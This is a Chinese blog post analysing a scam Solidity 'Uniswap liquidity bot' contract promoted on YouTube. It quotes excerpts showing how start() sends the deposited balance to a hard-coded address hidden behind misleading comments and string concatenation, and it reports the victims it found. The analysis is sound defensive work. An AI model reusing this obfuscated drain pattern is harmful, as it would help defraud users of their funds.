分析一个scam合约

  • enigma
  • 更新于 2022-09-13 00:58
  • 阅读 2134

分析一个scam合约

最近在网上查资料时看到了一个利用合约赚钱的帖子 “Make +1200$ a day passive income with Solidity and Uniswap” ,咋一看以为是闪电贷套利之类的,但还是很好奇就点进去看了下具体是怎么玩的。(视频在油管上 BVLAbJbT59w ,完整代码在 https://rentry.co/uvdx4/raw

视频的主要内容是教用户用remix在eth主网上部署一个合约,然后向合约转一些eth(如1 eth)。后面调用合约中的start方法开始进行自动交易,过一段时间(比如1天)就可以调用withdraw方法把钱取出来了,号称会有大概30%的收益

源码分析

整体结构

我本身对solidity也只有一些粗浅的理解,一开始看到这个合约还是被唬住了,觉得还是有模有样的。下面从头开始分析。

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

contract UniswapLiquidityBot {
   //...
}

整个项目就一个contract,虽然引用了3个uniswap接口,但这个contract没有继承这些接口,搜索代码也没有任何地方用到。(我这里其实有些怀疑了,但不确定是不是solidity还有些特殊的玩法,毕竟之前看到一个proxy项目的代码,被一些花式玩法绕晕过)

start方法

下面来看看start方法干了啥

    /*
     * @dev Perform action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable { 
        emit Log("Running attack on Uniswap. This can take a while please wait...");
        if (checkMempoolStarted()){
            payable(_callStartActionMempool()).transfer(address(this).balance);
        }
        else{
            payable(_callStartActionMempool()).transfer(0);
        }
    }

嗯,看起来没啥问题,就是判断有没有开始,然后向一个地址转了一笔钱 我们重点看一下_callStartActionMempool 这个得到地址是啥

    function _callStartActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
      // 此处省略,主要是把string转成eth address
    }

        /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 783155;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 537660;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 716768;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 107685;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

emm,这段代码看起来有点复杂,看注释是从选择出一个可能最高回报的地址。 但等等,为何这个方法是pure呢(pure代表不会读取任何外部数据呢);而且,既然是多个选择一个,咋没看到循环呢;还有这一个个奇怪的数字又是啥。 继续看里面调用的checkLiquidity和mempool方法

/*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

这个函数比较容易看懂,就是拼接两个字符串,但注释是什么鬼??? checkLiquidity跟上面类似,只是把数字转成了字符串,但注释写的像模像样

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
     function checkLiquidity(uint a) internal pure returns (string memory)

其实到这里可以看出来了,callMempool返回的是一个固定的地址,根本不会去遍历所有的合约地址并找利润最高的。

Remix实操

毕竟我还不是那么确定,于是我上remix测试了一下。把callMempool方法改成了public,部署了合约,调用一下callMempool这个看看,果然,调用几次都是个固定地址

截屏2022-09-13 00.36.02.png

出于好奇,我还上etherscan上看了一下这个地址,哦吼,还是个个人地址,不是合约地址 看下有没有人上钩哈,还真有 (7个人,总共损失 4 eth ) https://etherscan.io/address/0xe2c22bf333d41bc8343cdd15daefe0a80fd1a4a5#internaltx

截屏2022-09-13 00.45.47.png

总结

我其实从来没买过eth,也没玩过任何DeFi相关的产品哈,研究这个纯属觉得好玩。大家如果要玩合约,特别是这种还需要自己部署的,更加要小心哈。毕竟,人还是很难赚到认知外的钱的。

点赞 4
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
enigma
enigma
江湖只有他的大名,没有他的介绍。